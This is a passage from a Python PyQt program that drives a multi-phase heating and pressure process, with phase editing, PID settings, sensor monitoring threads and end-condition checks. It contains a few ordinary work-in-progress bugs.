1):\r\n\t\t\t\t\tself.labelsArray[tab][7].setHidden(False)\r\n\t\t\t\t\tself.labelsArray[tab][8].setHidden(False)\r\n\t\t\t\t\tself.labelsArray[tab][9].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][11].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][12].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][13].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][14].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][15].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][16].setHidden(False)\r\n\t\t\t\telse:\r\n\t\t\t\t\tpass\r\n\t\telse:\r\n\t\t\traise #Error\r\n\r\n\tdef adjustSettings(self):\r\n\t\tif self.modeNow == 'Edit':\r\n\t\t\tself.modeNow = 'Inactive'\r\n\t\t\tself.displayMessage(\"\")\r\n\t\t\tself.displayMessage(\"Sequence Changed into:\")\r\n\t\t\tfor row in range(self.number_of_phase):\r\n\t\t\t\tself.displayMessage(str(row+1) + \": \" + \"\".join(str(self.seq[row])))\r\n\r\n\t\t\tself.displayMessage('Now on standby')\r\n\t\t\tself.displayMessage('==')\r\n\t\t\tself.line_phase.setText(self.modeNow)\r\n\t\t\tself.push_adjust.setText('Adjust Sequence')\r\n\t\t\tself.push_run.setEnabled(True)\r\n\t\t\tfor row in range(len(self.buttonArray)):\r\n\t\t\t\tfor col in range(len(self.buttonArray[row])):\r\n\t\t\t\t\tself.buttonArray[row][col].setEnabled(False)\r\n\t\t\t\tfor col in range(len(self.settingsArray[row])):\r\n\t\t\t\t\tself.settingsArray[row][col].setEnabled(False)\r\n\r\n\t\telif self.modeNow == 'Inactive':\r\n\t\t\tself.modeNow = 'Edit'\r\n\t\t\tself.displayMessage('==')\r\n\t\t\tself.shownow()\r\n\t\t\tself.displayMessage('Entering Editing Mode')\r\n\t\t\tself.line_phase.setText(self.modeNow)\r\n\t\t\tself.label_runtime.setText('--:--')\r\n\t\t\tself.push_adjust.setText('Lock Sequence')\r\n\t\t\tself.push_run.setEnabled(False)\r\n\t\t\tfor row in range(len(self.buttonArray)):\r\n\t\t\t\tfor col in range(len(self.buttonArray[row])):\r\n\t\t\t\t\tself.buttonArray[row][col].setEnabled(True)\r\n\t\t\t\tfor col in range(len(self.settingsArray[row])):\r\n\t\t\t\t\tself.settingsArray[row][col].setEnabled(True)\r\n\t\telif self.modeNow == 'Run':\r\n\t\t\treturn #Error\r\n\t\telse:\r\n\t\t\treturn #Error\r\n\r\n\tdef adjustRecord(self):\r\n\t\tself.displayMessage('adjustRecord')\r\n\r\n\tdef adjustSaveSettings(self):\r\n\t\tself.displayMessage('adjustSaveSettings')\r\n\r\n\tdef functNewSequence(self, number_of_phas,sdesc,sendc,stime,stemp,spres,sheat\r\n\t\t\t\t\t\t,shout,skp,ski,skd,svacu,scool):\t#shout is s-Heat-out\r\n\t#Create Buttons placed in layout2\r\n\t\tbuttons_text = ['Delete Phase','Insert New Phase','Move Phase']\r\n\t\tbuttons_name = ['delete','new','move']\r\n\t\tlayout2 = QHBoxLayout()\r\n\t\tsmallbuttonArray = []\r\n\t\tfor countz,tex,nam in zip(range(3),buttons_text,buttons_name):\r\n\t\t\tlayoutbutton = QPushButton(tex)\r\n\t\t\tstrung = ['push_',nam,'_',str(number_of_phas)]\r\n\t\t\tlayoutbutton.setObjectName(\"\".join(strung))\r\n\t\t\tlayoutbutton.setStatusTip(layoutbutton.objectName())\r\n\t\t\tlayout2.addWidget(layoutbutton)\r\n\t\t\tsmallbuttonArray.append(layoutbutton)\r\n\t\tself.buttonArray.append(smallbuttonArray)\r\n\t\tfor col in range(len(self.buttonArray[number_of_phas])):\r\n\t\t\tself.buttonArray[number_of_phas][col].clicked.connect(self.templambda1(number_of_phas,col))\r\n\t#Create labels placed in column 0 of layout3\r\n\t\tlabel_name = ['descr', 'endcon', 'time', 'T', 'P', 'heat','heatput','kp',\r\n\t\t\t\t\t'ki','kd','vacuum', 'cool']\r\n\t\tlabel_text = ['Description','End Condition', ' - Time Waited (mins)',\r\n\t\t\t\t\t'Target Temp (+- 0.1 C)', 'Target Pressure (+- 0.1 bar)',\r\n\t\t\t\t\t'Heating Profile',' - Constant Heat Output (%)',' - Kp',' - Ki',' - Kd',\r\n\t\t\t\t\t'Vacuum', 'Cool Air']\r\n\t\tlayout3 = QGridLayout()\r\n\t\tsmallLabelArray = []\r\n\t\tfor countz,tex,nam in zip(range(12),label_text,label_name):\r\n\t\t\tlayoutlabel = QLabel(tex)\r\n\t\t\tstrung = ['label_',nam,'_',str(number_of_phas)]\r\n\t\t\tlayoutlabel.setObjectName(\"\".join(strung))\r\n\t\t\tlayoutlabel.setStatusTip(layoutlabel.objectName())\r\n\t\t\tlayout3.addWidget(layoutlabel,countz,0)\r\n\t\t\tsmallLabelArray.append(layoutlabel)\r\n\t\t\tif (sendc != 3) and (nam == 'time'):\r\n\t\t\t\t\tlayoutlabel.setHidden(True)\r\n\t\tself.labelsArray.append(smallLabelArray)\r\n\t#Create widgets placed in column 1 of layout3\r\n\t\tsmallwidgetArray = []\r\n\t\tfor countz,tex,nam in zip(range(12),label_text,label_name):\r\n\t\t\t#Creating objects and connections\r\n\t\t\tif countz == 0:\r\n\t\t\t\tlayoutWidg = QTextEdit(sdesc)\r\n\t\t\t\tlayoutWidg.textChanged.connect(self.templambda2(number_of_phas,0))\r\n\t\t\telif countz == 1:\r\n\t\t\t\tlayoutWidg = QComboBox()\r\n\t\t\t\tlayoutWidg.addItem('Click Next')\r\n\t\t\t\tlayoutWidg.addItem('Reach Temperature')\r\n\t\t\t\tlayoutWidg.addItem('Reach Pressure')\r\n\t\t\t\tlayoutWidg.addItem('Wait Timer')\r\n\t\t\t\tlayoutWidg.addItem('= Immediately Skip =')\r\n\t\t\t\tlayoutWidg.setCurrentIndex(sendc)\r\n\t\t\t\tlayoutWidg.currentIndexChanged.connect(self.templambda2(number_of_phas,1))\r\n\t\t\telif countz == 2:\r\n\t\t\t\tlayoutWidg = QLabel(str(stime))\r\n\t\t\t\tlayoutWidg2 = QPushButton('Set Time')\r\n\t\t\t\tlayoutWidg2.clicked.connect(self.templambda2(number_of_phas,3))\r\n\t\t\t\tif sendc != 3:\r\n\t\t\t\t\tlayoutWidg.setHidden(True)\r\n\t\t\t\t\tlayoutWidg2.setHidden(True)\r\n\t\t\telif countz == 3:\r\n\t\t\t\tlayoutWidg = QLabel(str(stemp))\r\n\t\t\t\tlayoutWidg2 = QPushButton('Set Temperature')\r\n\t\t\t\tlayoutWidg2.clicked.connect(self.templambda2(number_of_phas,5))\r\n\t\t\telif countz == 4:\r\n\t\t\t\tlayoutWidg = QLabel(str(spres))\r\n\t\t\t\tlayoutWidg2 = QPushButton('Set Pressure')\r\n\t\t\t\tlayoutWidg2.clicked.connect(self.templambda2(number_of_phas,7))\r\n\t\t\telif countz == 5:\r\n\t\t\t\tlayoutWidg = QComboBox()\r\n\t\t\t\tlayoutWidg.addItem('Rapid')\r\n\t\t\t\tlayoutWidg.addItem('PID Controlled')\r\n\t\t\t\tlayoutWidg.addItem('Off')\r\n\t\t\t\tlayoutWidg.addItem('PWM (0-100)')\r\n\t\t\t\tlayoutWidg.addItem('Custom')\r\n\t\t\t\tlayoutWidg.setCurrentIndex(sheat)\r\n\t\t\t\tlayoutWidg.currentIndexChanged.connect(self.templambda2(number_of_phas,8))\r\n\t\t\telif countz == 6:\r\n\t\t\t\tlayoutWidg = QLabel(str(shout))\r\n\t\t\t\tlayoutWidg2 = QPushButton('Set Output')\r\n\t\t\t\tlayoutWidg2.clicked.connect(self.templambda2(number_of_phas,10))\r\n\t\t\telif countz == 7:\r\n\t\t\t\tlayoutWidg = QLabel(str(skp))\r\n\t\t\t\tlayoutWidg2 = QPushButton('Set Kp')\r\n\t\t\t\tlayoutWidg2.clicked.connect(self.templambda2(number_of_phas,12))\r\n\t\t\telif countz == 8:\r\n\t\t\t\tlayoutWidg = QLabel(str(ski))\r\n\t\t\t\tlayoutWidg2 = QPushButton('Set Ki')\r\n\t\t\t\tlayoutWidg2.clicked.connect(self.templambda2(number_of_phas,14))\r\n\t\t\telif countz == 9:\r\n\t\t\t\tlayoutWidg = QLabel(str(skd))\r\n\t\t\t\tlayoutWidg2 = QPushButton('Set Kd')\r\n\t\t\t\tlayoutWidg2.clicked.connect(self.templambda2(number_of_phas,16))\r\n\t\t\telif countz == 10:\r\n\t\t\t\tlayoutWidg = QComboBox()\r\n\t\t\t\tlayoutWidg.addItem('Yes')\r\n\t\t\t\tlayoutWidg.addItem('No')\r\n\t\t\t\tlayoutWidg.setCurrentIndex(svacu)\r\n\t\t\t\tlayoutWidg.currentIndexChanged.connect(self.templambda2(number_of_phas,17))\r\n\t\t\telif countz == 11:\r\n\t\t\t\tlayoutWidg = QComboBox()\r\n\t\t\t\tlayoutWidg.addItem('Yes')\r\n\t\t\t\tlayoutWidg.addItem('No')\r\n\t\t\t\tlayoutWidg.setCurrentIndex(scool)\r\n\t\t\t\tlayoutWidg.currentIndexChanged.connect(self.templambda2(number_of_phas,18))\r\n\t\t\telse:\r\n\t\t\t\tlayoutWidg = QTextEdit()\r\n\r\n\t\t\t#Designating object names\r\n\t\t\tstrung = ['settings_',nam,'_',str(number_of_phas)]\r\n\t\t\tlayoutWidg.setObjectName(\"\".join(strung))\r\n\t\t\tlayoutWidg.setStatusTip(layoutWidg.objectName())\r\n\t\t\t#Boxing objects into layouts\r\n\t\t\tif countz in range(2,5):\r\n\t\t\t\tstrung = ['settings_button',nam,'_',str(number_of_phas)]\r\n\t\t\t\tlayoutWidg2.setObjectName(\"\".join(strung))\r\n\t\t\t\tlayoutWidg2.setStatusTip(layoutWidg2.objectName())\r\n\t\t\t\tlayout4 = QHBoxLayout()\r\n\t\t\t\tlayout4.addWidget(layoutWidg)\r\n\t\t\t\tlayout4.addWidget(layoutWidg2)\r\n\t\t\t\tsmallwidgetArray.append(layoutWidg)\r\n\t\t\t\tsmallwidgetArray.append(layoutWidg2)\r\n\t\t\t\tlayout3.addLayout(layout4,countz,1)\r\n\t\t\telif countz in range(6,10):\r\n\t\t\t\tstrung = ['settings_button',nam,'_',str(number_of_phas)]\r\n\t\t\t\tlayoutWidg2.setObjectName(\"\".join(strung))\r\n\t\t\t\tlayoutWidg2.setStatusTip(layoutWidg2.objectName())\r\n\t\t\t\tlayout4 = QHBoxLayout()\r\n\t\t\t\tlayout4.addWidget(layoutWidg)\r\n\t\t\t\tlayout4.addWidget(layoutWidg2)\r\n\t\t\t\tsmallwidgetArray.append(layoutWidg)\r\n\t\t\t\tsmallwidgetArray.append(layoutWidg2)\r\n\t\t\t\tlayout3.addLayout(layout4,countz,1)\r\n\t\t\telse:\r\n\t\t\t\tlayout3.addWidget(layoutWidg,countz,1)\r\n\t\t\t\tsmallwidgetArray.append(layoutWidg)\r\n\t\tself.settingsArray.append(smallwidgetArray)\r\n\t#Bring the layouts together\r\n\t\tlayout1 = QVBoxLayout()\r\n\t\tlayout1.addSpacing(1)\r\n\t\tlayout1.addLayout(layout3)\r\n\t\tlayout1.addLayout(layout2)\r\n\t\tbox = QWidget()\r\n\t\tbox.setLayout(layout1)\r\n\t\tself.phase_tabs.addTab(box,str(number_of_phas+ 1))\r\n\r\n\tdef buttonPressed(self,tab,buttonCode):\r\n\r\n\t\tif buttonCode == 0:\r\n\t\t\taskdel = self.generateMessageBox('Confirmation','Are you sure you want to delete phase?')\r\n\t\t\tif askdel == QMessageBox.Ok:\r\n\t\t\t\tdel self.settingsArray[tab]\r\n\t\t\t\tdel self.labelsArray[tab]\r\n\t\t\t\tdel self.buttonArray[tab]\r\n\t\t\t\tdel self.seq[tab]\r\n\t\t\t\tself.phase_tabs.removeTab(tab)\r\n\t\t\t\tself.number_of_phase = self.number_of_phase - 1\r\n\t\t\t\tfor currentTab in range(tab,self.number_of_phase):\r\n\t\t\t\t\tself.reindexTab(currentTab)\r\n\t\t\telif askdel == QMessageBox.Cancel:\r\n\t\t\t\treturn\r\n\t\t\telse:\r\n\t\t\t\treturn #Error\r\n\t\telif buttonCode == 1:\r\n\t\t\tdefNewTab = DEFAULTTAB\r\n\t\t\tself.seq.append(defNewTab)\r\n\t\t\tself.functNewSequence(self.number_of_phase,*defNewTab)\r\n\t\t\tself.number_of_phase = self.number_of_phase + 1\r\n\t\telif buttonCode == 2:\r\n\t\t\tprint('move not yet implemented')\r\n\t\telse:\r\n\t\t\tself.displayMessage(\" \".join((str(tab),str(buttonCode))),'X')\r\n\t\t\treturn #Error\r\n\r\n\tdef reindexTab(self,row):\r\n\t\t# Function to \"shift tabs\" when a tab at about the center is being deleted\r\n\t\tself.phase_tabs.setTabText(row,str(row+1))\r\n\t\tfor col in range(len(self.settingsArray[row])):\r\n\t\t\tprevName = self.settingsArray[row][col].objectName()\r\n\t\t\tprevName = \"\".join([prevName[:-1],str(row)])\r\n\t\t\tself.settingsArray[row][col].setObjectName(prevName)\r\n\t\t\tself.settingsArray[row][col].setStatusTip(prevName)\r\n\t\t\tself.settingsArray[row][col].disconnect()\r\n\t\t\tif col == 0:\r\n\t\t\t\tself.settingsArray[row][col].textChanged.connect(self.templambda2(row,col))\r\n\t\t\telif col == 1:\r\n\t\t\t\tself.settingsArray[row][col].currentIndexChanged.connect(self.templambda2(row,col))\r\n\t\t\telif col == 3:\r\n\t\t\t\tself.settingsArray[row][col].clicked.connect(self.templambda2(row,col))\r\n\t\t\telif col == 5:\r\n\t\t\t\tself.settingsArray[row][col].clicked.connect(self.templambda2(row,col))\r\n\t\t\telif col == 7:\r\n\t\t\t\tself.settingsArray[row][col].clicked.connect(self.templambda2(row,col))\r\n\t\t\telif col == 8:\r\n\t\t\t\tself.settingsArray[row][col].currentIndexChanged.connect(self.templambda2(row,col))\r\n\t\t\telif col == 10:\r\n\t\t\t\tself.settingsArray[row][col].clicked.connect(self.templambda2(row,col))\r\n\t\t\telif col == 12:\r\n\t\t\t\tself.settingsArray[row][col].clicked.connect(self.templambda2(row,col))\r\n\t\t\telif col == 14:\r\n\t\t\t\tself.settingsArray[row][col].clicked.connect(self.templambda2(row,col))\r\n\t\t\telif col == 16:\r\n\t\t\t\tself.settingsArray[row][col].clicked.connect(self.templambda2(row,col))\r\n\t\t\telif col == 17:\r\n\t\t\t\tself.settingsArray[row][col].currentIndexChanged.connect(self.templambda2(row,col))\r\n\t\t\telif col == 18:\r\n\t\t\t\tself.settingsArray[row][col].currentIndexChanged.connect(self.templambda2(row,col))\r\n\t\t\telse:\r\n\t\t\t\treturn\r\n\t\tfor col in range(len(self.buttonArray[row])):\r\n\t\t\tprevName = self.buttonArray[row][col].objectName()\r\n\t\t\tprevName = \"\".join([prevName[:-1],str(row)])\r\n\t\t\tself.buttonArray[row][col].setObjectName(prevName)\r\n\t\t\tself.buttonArray[row][col].setStatusTip(prevName)\r\n\t\t\tself.buttonArray[row][col].disconnect()\r\n\t\t\tself.buttonArray[row][col].clicked.connect(self.templambda1(row,col))\r\n\r\n\r\n\tdef settingsChanged(self,tab,widgCode):\r\n\t\tif widgCode == 0:\r\n\t\t\tself.seq[tab][0] = self.settingsArray[tab][0].toPlainText()\r\n\t\telif widgCode == 1:\r\n\t\t\tself.seq[tab][1] = self.settingsArray[tab][1].currentIndex()\r\n\t\t\tif self.settingsArray[tab][1].currentIndex() != 3:\r\n\t\t\t\tself.labelsArray[tab][2].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][2].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][3].setHidden(True)\r\n\t\t\telse:\r\n\t\t\t\tself.labelsArray[tab][2].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][2].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][3].setHidden(False)\r\n\t\telif widgCode == 2:\r\n\t\t\treturn\r\n\t\telif widgCode == 3:\r\n\t\t\ta = self.generateInputBox(\"Set Time\",\"Input Time in minutes\",2.5,0,30,2)\r\n\t\t\tif a != None:\r\n\t\t\t\tself.settingsArray[tab][2].setText(str(a))\r\n\t\t\t\tself.seq[tab][2] = a\r\n\t\telif widgCode == 4:\r\n\t\t\treturn\r\n\t\telif widgCode == 5:\r\n\t\t\ta = self.generateInputBox(\"Set Temp\",\"Input Temperature (+- 0.1 C)\",80,30,170,1)\r\n\t\t\tif a != None:\r\n\t\t\t\tself.settingsArray[tab][4].setText(str(a))\r\n\t\t\t\tself.seq[tab][3] = a\r\n\t\telif widgCode == 6:\r\n\t\t\treturn\r\n\t\telif widgCode == 7:\r\n\t\t\ta = self.generateInputBox(\"Set Pressure\",\"Input Pressure (+- 0.1 bar)\",35,0,35,1)\r\n\t\t\tif a != None:\r\n\t\t\t\tself.settingsArray[tab][6].setText(str(a))\r\n\t\t\t\tself.seq[tab][4] = a\r\n\t\telif widgCode == 8:\r\n\t\t\t# Heating Profile\r\n\t\t\tb = self.settingsArray[tab][8].currentIndex()\r\n\t\t\tself.seq[tab][5] = b\r\n\t\t\t# Rapid, Off or PWM\r\n\t\t\tif (b == 0) or (b == 2):\r\n\t\t\t\tself.labelsArray[tab][6].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][9].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][10].setHidden(False)\r\n\t\t\telse:\r\n\t\t\t\tself.labelsArray[tab][6].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][9].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][10].setHidden(True)\r\n\t\t\t# PID\r\n\t\t\tif (b == 1):\r\n\t\t\t\tself.labelsArray[tab][7].setHidden(False)\r\n\t\t\t\tself.labelsArray[tab][8].setHidden(False)\r\n\t\t\t\tself.labelsArray[tab][9].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][11].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][12].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][13].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][14].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][15].setHidden(False)\r\n\t\t\t\tself.settingsArray[tab][16].setHidden(False)\r\n\t\t\telse:\r\n\t\t\t\tself.labelsArray[tab][7].setHidden(True)\r\n\t\t\t\tself.labelsArray[tab][8].setHidden(True)\r\n\t\t\t\tself.labelsArray[tab][9].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][11].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][12].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][13].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][14].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][15].setHidden(True)\r\n\t\t\t\tself.settingsArray[tab][16].setHidden(True)\r\n\t\telif widgCode == 9:\r\n\t\t\treturn\r\n\t\telif widgCode == 10:\r\n\t\t\ta = self.generateInputBox(\"Set Heat Output\",\"Input Heat Output\",50,0,100,1)\r\n\t\t\tif a != None:\r\n\t\t\t\tself.settingsArray[tab][9].setText(str(a))\r\n\t\t\t\tself.seq[tab][6] = a\r\n\t\telif widgCode == 11:\r\n\t\t\treturn\r\n\t\telif widgCode == 12:\r\n\t\t\ta = self.generateInputBox(\"Set Kp\",\"Input Kp\",2,-1024,1024,1)\r\n\t\t\tif a != None:\r\n\t\t\t\tself.settingsArray[tab][11].setText(str(a))\r\n\t\t\t\tself.seq[tab][7] = a\r\n\t\telif widgCode == 13:\r\n\t\t\treturn\r\n\t\telif widgCode == 14:\r\n\t\t\ta = self.generateInputBox(\"Set Ki\",\"Input Ki\",2,-1024,1024,1)\r\n\t\t\tif a != None:\r\n\t\t\t\tself.settingsArray[tab][13].setText(str(a))\r\n\t\t\t\tself.seq[tab][8] = a\r\n\t\telif widgCode == 15:\r\n\t\t\treturn\r\n\t\telif widgCode == 16:\r\n\t\t\ta = self.generateInputBox(\"Set Kd\",\"Input Kd\",2,-1024,1024,1)\r\n\t\t\tif a != None:\r\n\t\t\t\tself.settingsArray[tab][15].setText(str(a))\r\n\t\t\t\tself.seq[tab][9] = a\r\n\t\telif widgCode == 17:\r\n\t\t\tself.seq[tab][10] = self.settingsArray[tab][17].currentIndex()\r\n\t\telif widgCode == 18:\r\n\t\t\tself.seq[tab][11] = self.settingsArray[tab][18].currentIndex()\r\n\t\telse:\r\n\t\t\treturn #Error\r\n\r\n\t# Monitor Functions\r\n\t# ==========================================================\r\n\t#Called once upon Thread creation. Repeats until lock is deactivated\r\n\tdef monitorCheck(self):\r\n\t\tself.locks.can_Measure = True\r\n\t\ttry:\r\n\t\t\twhile self.locks.can_Measure and (not self.locks.is_Emergency):\r\n\t\t\t\tself.monitor.readval()\r\n\t\t\t\tself.monit_Tc.setText(\"{0:.03f}\".format(self.monitor.T))\r\n\t\t\t\tself.monit_Te.setText(\"{0:.03f}\".format(self.monitor.T2))\r\n\t\t\t\tself.monit_P.setText(\"{0:.01f}\".format(self.monitor.P))\r\n\t\t\t\tif self.locks.can_Process:\r\n\t\t\t\t\tprint(self.process.pwm_center)\r\n\t\t\t\t\tself.monit_powc.setText(\"{:3d}%\".format(self.process.pwm_center))\r\n\t\t\t\t\tself.monit_powe.setText(\"{:3d}%\".format(self.process.pwm_edge))\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.monit_powc.setText(\"-\")\r\n\t\t\t\t\tself.monit_powe.setText(\"-\")\r\n\t\t\t\ttime.sleep(0.1)\r\n\t\texcept Exception as err:\r\n\t\t\ttraceback.print_tb(err.__traceback__)\t\r\n\t\t\t# Activate Emergency flag if any error occur\r\n\t\t\tself.locks.is_Emergency = True\r\n\t\tfinally:\r\n\t\t\tself.locks.can_Measure = False\r\n\r\n\r\n\t#Called once upon Thread creation. Repeats until lock is deactivated\r\n\tdef updateGraph(self):\r\n\t\tself.locks.can_Measure = True\r\n\t\ttry:\r\n\t\t\twhile self.locks.can_Measure and (not self.locks.is_Emergency):\r\n\t\t\t\tself.monitor.sendval()\r\n\t\t\t\ttime.sleep(1)\r\n\t\texcept Exception as err:\r\n\t\t\ttraceback.print_tb(err.__traceback__)\r\n\t\t\t# Activate Emergency flag if any error occur\r\n\t\t\tself.locks.is_Emergency = True\r\n\t\tfinally:\r\n\t\t\tself.locks.can_Measure = False\r\n\r\n\r\n\tdef displayTime(self):\r\n\t\t# Check for time of phase reset\r\n\t\tif self.locks.new_phase:\r\n\t\t\tself.start_time_of_phase = time.time()\r\n\r\n\t\t# Create a counting clock indicating time from start of run\r\n\t\ttime_elapsed = round(time.time() - self.start_time_of_run - 0.5)\r\n\t\ttimetext = \"{:02d}:{:02d}\".format(time_elapsed // 60,time_elapsed%60)\r\n\t\tself.label_runtime.setText(timetext)\r\n\t\tself.monit_time.setText(timetext)\r\n\r\n\t\t# Create a clock from start of only one phase\r\n\t\tnumber_phase = round(time.time() - self.start_time_of_phase - 0.5)\r\n\t\ttimetext2 = \"{:02d}:{:02d}\".format(time_elapsed_phase // 60,time_elapsed_phase%60)\r\n\t\tself.monit_timephase.setText(timetext2)\r\n\r\n\r\n\r\n\t# Run functions\r\n\t# ==========================================================\r\n\r\n\tdef runBegin(self):\r\n\r\n\t\tif self.modeNow == 'Edit':\r\n\t\t\treturn #Error\r\n\r\n\t\telif self.modeNow == 'Inactive':\r\n\t\t\tself.displayMessage('=====')\r\n\t\t\tself.shownow()\r\n\t\t\tself.displayMessage('Run Begins')\r\n\t\t\tself.line_phase.setText(self.modeNow)\r\n\t\t\tself.label_runtime.setText('--:--')\r\n\t\t\tself.monit_time.setText('00:00')\r\n\t\t\tself.monit_timephase.setText('00:00')\r\n\t\t\tself.push_run.setEnabled(False)\r\n\t\t\tself.push_adjust.setEnabled(False)\r\n\t\t\tself.push_prev.setEnabled(True)\r\n\t\t\tself.push_goto.setEnabled(True)\r\n\t\t\tself.push_next.setEnabled(True)\r\n\t\t\tself.push_stop.setEnabled(True)\r\n\t\t\tself.push_changeT.setEnabled(True)\r\n\t\t\tself.push_changeP.setEnabled(True)\r\n\t\t\tself.phase_tabs.setCurrentIndex(0)\r\n\r\n\t\t# =====================================\r\n\t\t# THIS IS WHERE THE PROGRAM RUNS\r\n\t\t# Everytime phase changes, (due to job finish, or runPrev or runNext or runSTOP)\r\n\t\t# \tALWAYS INVOKE runPhaseInterrupt first\r\n\t\t# runOnce is used conversely to begin run cycles\r\n\t\t# =====================================\r\n\t\t\ttry:\r\n\t\t\t\tself.currentPhase = 0\r\n\t\t\t\tself.process.setup()\r\n\t\t\t\tself.process.loadData(self.seq[self.currentPhase])\r\n\r\n\t\t\t\tself.locks.new_phase = False\r\n\t\t\t\tself.start_time_of_run = time.time()\r\n\t\t\t\tself.start_time_of_phase = 0\r\n\t\t\t\t\r\n\t\t\t\ta = threading.Thread(target = self.runThread)\r\n\t\t\t\tself.threads.append(a)\r\n\t\t\t\ta.start()\r\n\r\n\t\t\t\tself.modeNow = 'Run'\r\n\r\n\t\t\texcept Exception as arr:\r\n\t\t\t\ttraceback.print_tb(err.__traceback__)\r\n\r\n\t\telif self.modeNow == 'Run':\r\n\t\t\treturn #Error\r\n\t\telse:\r\n\t\t\traise #Error\t\t\r\n\r\n\tdef runThread(self):\r\n\t\tself.locks.can_Process = True\r\n\t\ttry:\r\n\t\t\twhile self.locks.can_Process and (not self.locks.is_Emergency):\r\n\t\t\t\tself.displayTime()\r\n\t\t\t\tself.runCheck()\r\n\t\t\t\tif self.locks.new_phase:\r\n\t\t\t\t\tself.runPhaseInterrupt()\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.runOnce()\r\n\t\texcept Exception as err:\r\n\t\t\ttraceback.print_tb(err.__traceback__)\r\n\t\t\tself.locks.is_Emergency = True\r\n\t\tfinally:\r\n\t\t\tself.can_Process = False\r\n\t\t\tself.runEnd()\r\n\r\n\t# This decorator gives a (n) second timer before it will be forcefully stopped\r\n\t@exit_after(5)\r\n\tdef runOnce(self):\r\n\t\tself.process.run()\r\n\r\n\t@exit_after(5)\r\n\tdef runPhaseInterrupt(self):\r\n\t# Transition to next Phase\r\n\t\t# self.log.updateVerticalLine(self.process.asktime())\r\n\t\tself.locks.new_phase = False\r\n\t\tif self.locks.target_phase in range(self.number_of_phase):\r\n\t\t\t# Move to a particular phase\r\n\t\t\tself.displayMessage(\"Moving to phase {}\".format(self.locks.target_phase))\r\n\t\t\tself.currentPhase = self.locks.target_phase\r\n\t\t\tself.phase_tabs.setCurrentIndex(self.locks.target_phase)\r\n\t\t\tself.process.loadData(self.seq[self.currentPhase])\r\n\t\t\treturn\r\n\t\telse:\r\n\t\t\t# Exit\r\n\t\t\tself.displayMessage(\"Exiting run...\")\r\n\t\t\tself.locks.can_Process = False\r\n\t\t\treturn\r\n\r\n\tdef runCheck(self):\r\n\t\t# [!] WARNING spike in T or P can trigger end of phase forcefully\r\n\t\t# [!] Will need some time before being sure that the change in T or P is not transient\r\n\t\tself.checkDelay = 1 \t# 1 second worth of re-check\r\n\t\tif self.locks.is_moving_phase:\r\n\t\t\tif time.time() - self.locker.is_moving_phase_when < self.checkDelay:\r\n\t\t\t\treturn\r\n\t\t\tseqcp = self.seq[self.currentPhase]\r\n\t\t\tif seqcp[1] == 1:\r\n\t\t\t\t#Reach T\r\n\t\t\t\tif self.monitor.T >= self.seq[self.currentPhase][3]:\r\n\t\t\t\t\tself.locks.new_phase = True\r\n\t\t\t\t\tself.locks.target_phase = self.currentPhase + 1\r\n\t\t\t\t\tself.locks.is_moving_phase = False\r\n\t\t\t\t\treturn\r\n\t\t\tif seqcp[1] == 2:\r\n\t\t\t\t#Reach P\r\n\t\t\t\tif self.monitor.P >= self.seq[self.currentPhase][4]:\r\n\t\t\t\t\tself.locks.new_phase = True\r\n\t\t\t\t\tself.locks.target_phase = self.currentPhase + 1\r\n\t\t\t\t\tself.locks.is_moving_phase = False\r\n\t\t\t\t\treturn\r\n\t\t\t# Dismiss previous result as a spike\r\n\t\t\tself.locks.is_moving_phase = False\r\n\t\t\tself.displayMessage(\"Change phase ignored due to spike\")\r\n\r\n\t\t# From seqcp:\r\n\t\t# [1] Endcondition '1'\r\n\t\t#\t\t(0) Click to Proceed/ Will not stop automaticallu\r\n\t\t#\t\t(1) Reach Temp\r\n\t\t#\t\t(2) Reach Pressure\r\n\t\t#\t\t(3) Wait for time to pass\r\n\t\t#\t\t(4) Immediately skip/ Temporarily 'delete' a phase\r\n\t\t#Check if end condition is fulfilled\r\n\t\tseqcp = self.seq[self.currentPhase]\r\n\t\tif seqcp[1] == 1:\r\n\t\t\t#Reach T\r\n\t\t\tif self.monitor.T >= seqcp[3]:\r\n\t\t\t\tself.locks.is_moving_phase = True\r\n\t\t\t\tself.locks.is_moving_phase_when = time.time()\r\n\t\t\t\tself.displayMessage(\"Detected Temperature crossed target {:.2f}\".format(seqcp[3]))\r\n\t\t\t\treturn\r\n\t\telif seqcp[1] == 2:\r\n\t\t\t#Reach P\r\n\t\t\tif self.monitor.P >= seqcp[4]:\r\n\t\t\t\tself.locks.is_moving_phase = True\r\n\t\t\t\tself.locks.is_moving_phase_when = time.time()\r\n\t\t\t\tself.displayMessage(\"Detected Pressure crossed target {:.2f}\".format(seqcp[4]))\r\n\t\t\t\treturn\r\n\t\telif seqcp[1] == 3:\r\n\t\t\t#Check phasetime\r\n\t\t\ttime_elapsed_phase = round(time.time() - self.start_time_of_phase - 0.5)\r\n\t\t\tif time_elapsed_phase >= self.seq[self.currentPhase][2]:\r\n\t\t\t\tself.locks.new_phase = True\r\n\t\t\t\tself.locks.target_phase = self.currentPhase + 1\r\n\t\t\t\tself.displayMessage(\"{} seconds has elapsed in phase {}\".format(self.seq[self.currentPhase][2],self.currentPhase))\r\n\t\t\t\treturn\r\n\t\telif seqcp[1] == 4:\r\n\t\t\tself.locks.new_phase = 